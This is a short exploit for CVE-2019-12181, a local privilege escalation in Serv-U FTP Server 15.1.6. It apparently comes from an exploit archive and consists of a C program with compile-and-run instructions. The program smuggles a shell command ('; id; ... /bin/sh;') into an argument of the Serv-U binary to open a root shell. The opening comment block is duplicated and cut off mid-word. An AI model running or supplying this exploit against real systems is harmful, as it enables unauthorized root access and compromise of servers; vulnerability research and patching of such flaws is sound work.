Serv-U FTP Server 15.1.6 Privilege Escalation

/*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to com /*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{
char *vuln_args[] = {"" ; id; echo 'opening root shell' ; /bin/sh; "", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d ", ret_val, errno);
return errno;
}